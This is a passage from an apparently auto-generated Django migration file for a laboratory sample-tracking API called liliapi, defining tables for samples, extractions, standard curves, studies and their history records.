liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('total_volume_or_mass_sampled', liliapi.models.NonnegativeDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('sample_volume_initial', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('filter_born_on_date', models.DateField(blank=True, null=True)), ('filter_flag', models.BooleanField(default=False)), ('secondary_concentration_flag', models.BooleanField(default=False)), ('elution_notes', models.TextField(blank=True)), ('technician_initials', models.CharField(blank=True, max_length=128)), ('dissolution_volume', liliapi.models.NullableNonzeroDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('post_dilution_volume', liliapi.models.NullableNonzeroDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ], options={ 'db_table': 'lili_sample', 'ordering': ['id'], }, ), migrations.CreateModel( name='SampleGroup', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('description', models.TextField(blank=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='samplegroup_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='samplegroup_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_samplegroup', }, ), migrations.CreateModel( name='UnitHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('symbol', models.CharField(db_index=True, max_length=128)), ('description', models.TextField(blank=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical unit', 'db_table': 'lili_unithistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='Unit', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('symbol', models.CharField(max_length=128, unique=True)), ('description', models.TextField(blank=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='unit_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='unit_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_unit', }, ), migrations.CreateModel( name='TargetHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('code', models.CharField(db_index=True, max_length=128)), ('notes', models.TextField(blank=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('nucleic_acid_type', models.ForeignKey(blank=True, db_constraint=False, default=1, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.NucleicAcidType')), ], options={ 'verbose_name': 'historical target', 'db_table': 'lili_targethistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='Target', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('code', models.CharField(max_length=128, unique=True)), ('notes', models.TextField(blank=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='target_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='target_modifier', to=settings.AUTH_USER_MODEL)), ('nucleic_acid_type', models.ForeignKey(default=1, on_delete=django.db.models.deletion.PROTECT, to='liliapi.NucleicAcidType')), ], options={ 'db_table': 'lili_target', }, ), migrations.CreateModel( name='StudyHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('description', models.TextField(blank=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical study', 'db_table': 'lili_studyhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='Study', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('description', models.TextField(blank=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='study_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='study_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name_plural': 'studies', 'db_table': 'lili_study', }, ), migrations.CreateModel( name='StatusHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical status', 'db_table': 'lili_statushistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='Status', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='status_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='status_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_status', }, ), migrations.CreateModel( name='StandardCurveHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('r_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('slope', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('efficiency', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pos_ctrl_cq', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pos_ctrl_cq_range', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical standard curve', 'db_table': 'lili_standardcurvehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='StandardCurve', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('r_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('slope', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('efficiency', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pos_ctrl_cq', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('pos_ctrl_cq_range', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='standardcurve_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='standardcurve_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_standardcurve', }, ), migrations.CreateModel( name='SampleTypeHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('code', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical sample type', 'db_table': 'lili_sampletypehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='SampleType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('code', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sampletype_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sampletype_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_sampletype', }, ), migrations.CreateModel( name='SampleSampleGroupHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ('samplegroup', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.SampleGroup')), ], options={ 'verbose_name': 'historical sample sample group', 'db_table': 'lili_samplesamplegrouphistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='SampleSampleGroup', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='samplesamplegroup_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='samplesamplegroup_modifier', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='liliapi.Sample')), ('samplegroup', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='liliapi.SampleGroup')), ], options={ 'db_table': 'lili_samplesamplegroup', 'unique_together': {('sample', 'samplegroup')}, }, ), migrations.CreateModel( name='SampleHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('study_site_name', models.CharField(blank=True, max_length=128)), ('collaborator_sample_id', models.CharField(db_index=True, max_length=128)), ('sampler_name', models.CharField(blank=True, max_length=128)), ('sample_notes', models.TextField(blank=True)), ('sample_description', models.TextField(blank=True)), ('arrival_date', models.DateField(blank=True, null=True)), ('arrival_notes', models.TextField(blank=True)), ('collection_start_date', models.DateField(db_index=True)), ('collection_start_time', models.TimeField(blank=True, null=True)), ('collection_end_date', models.DateField(blank=True, null=True)), ('collection_end_time', models.TimeField(blank=True, null=True)), ('meter_reading_initial', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('meter_reading_final', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('total_volume_sampled_initial', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('total_volume_or_mass_sampled', liliapi.models.NonnegativeDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('sample_volume_initial', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('filter_born_on_date', models.DateField(blank=True, null=True)), ('filter_flag', models.BooleanField(default=False)), ('secondary_concentration_flag', models.BooleanField(default=False)), ('elution_notes', models.TextField(blank=True)), ('technician_initials', models.CharField(blank=True, max_length=128)), ('dissolution_volume', liliapi.models.NullableNonzeroDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('post_dilution_volume', liliapi.models.NullableNonzeroDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('filter_type', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.FilterType')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('matrix', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Matrix')), ('meter_reading_unit', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Unit')), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('peg_neg', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ('record_type', models.ForeignKey(blank=True, db_constraint=False, default=1, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.RecordType')), ('sample_type', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.SampleType')), ('study', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Study')), ('total_volume_sampled_unit_initial', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Unit')), ], options={ 'verbose_name': 'historical sample', 'db_table': 'lili_samplehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='SampleGroupHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('description', models.TextField(blank=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical sample group', 'db_table': 'lili_samplegrouphistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='SampleExtractionHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ExtractionBatch')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('inhibition_dna', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Inhibition')), ('inhibition_rna', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Inhibition')), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ], options={ 'verbose_name': 'historical sample extraction', 'db_table': 'lili_sampleextractionhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='SampleExtraction', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sampleextraction_creator', to=settings.AUTH_USER_MODEL)), ('extraction_batch', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='sampleextractions', to='liliapi.ExtractionBatch')), ('inhibition_dna', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='sampleextractionsdna', to='liliapi.Inhibition')), ('inhibition_rna', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='sampleextractionsrna', to='liliapi.Inhibition')), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sampleextraction_modifier', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='sampleextractions', to='liliapi.Sample')), ], options={ 'db_table': 'lili_sampleextraction', 'ordering': ['sample', 'id'], 'unique_together': {('sample', 'extraction_batch')}, }, ), migrations.CreateModel( name='SampleAnalysisBatchHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('analysis_batch', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.AnalysisBatch')), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ], options={ 'verbose_name': 'historical sample analysis batch', 'db_table': 'lili_sampleanalysisbatchhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='SampleAnalysisBatch', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('analysis_batch', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='liliapi.AnalysisBatch')), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sampleanalysisbatch_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sampleanalysisbatch_modifier', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='liliapi.Sample')), ], options={ 'verbose_name_plural': 'sampleanalysisbatches', 'db_table': 'lili_sampleanalysisbatch', 'unique_together': {('sample', 'analysis_batch')}, }, ), migrations.AddField( model_name='sample', name='analysisbatches', field=models.ManyToManyField(related_name='samples', through='liliapi.SampleAnalysisBatch', to='liliapi.AnalysisBatch'), ), migrations.AddField( model_name='sample', name='created_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sample_creator', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='sample', name='filter_type', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, related_name='samples', to='liliapi.FilterType'), ), migrations.AddField( model_name='sample', name='matrix', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='samples', to='liliapi.Matrix'), ), migrations.AddField( model_name='sample', name='meter_reading_unit', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, related_name='samplesmeterunits', to='liliapi.Unit'), ), migrations.AddField( model_name='sample', name='modified_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='sample_modifier', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='sample', name='peg_neg', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='samples', 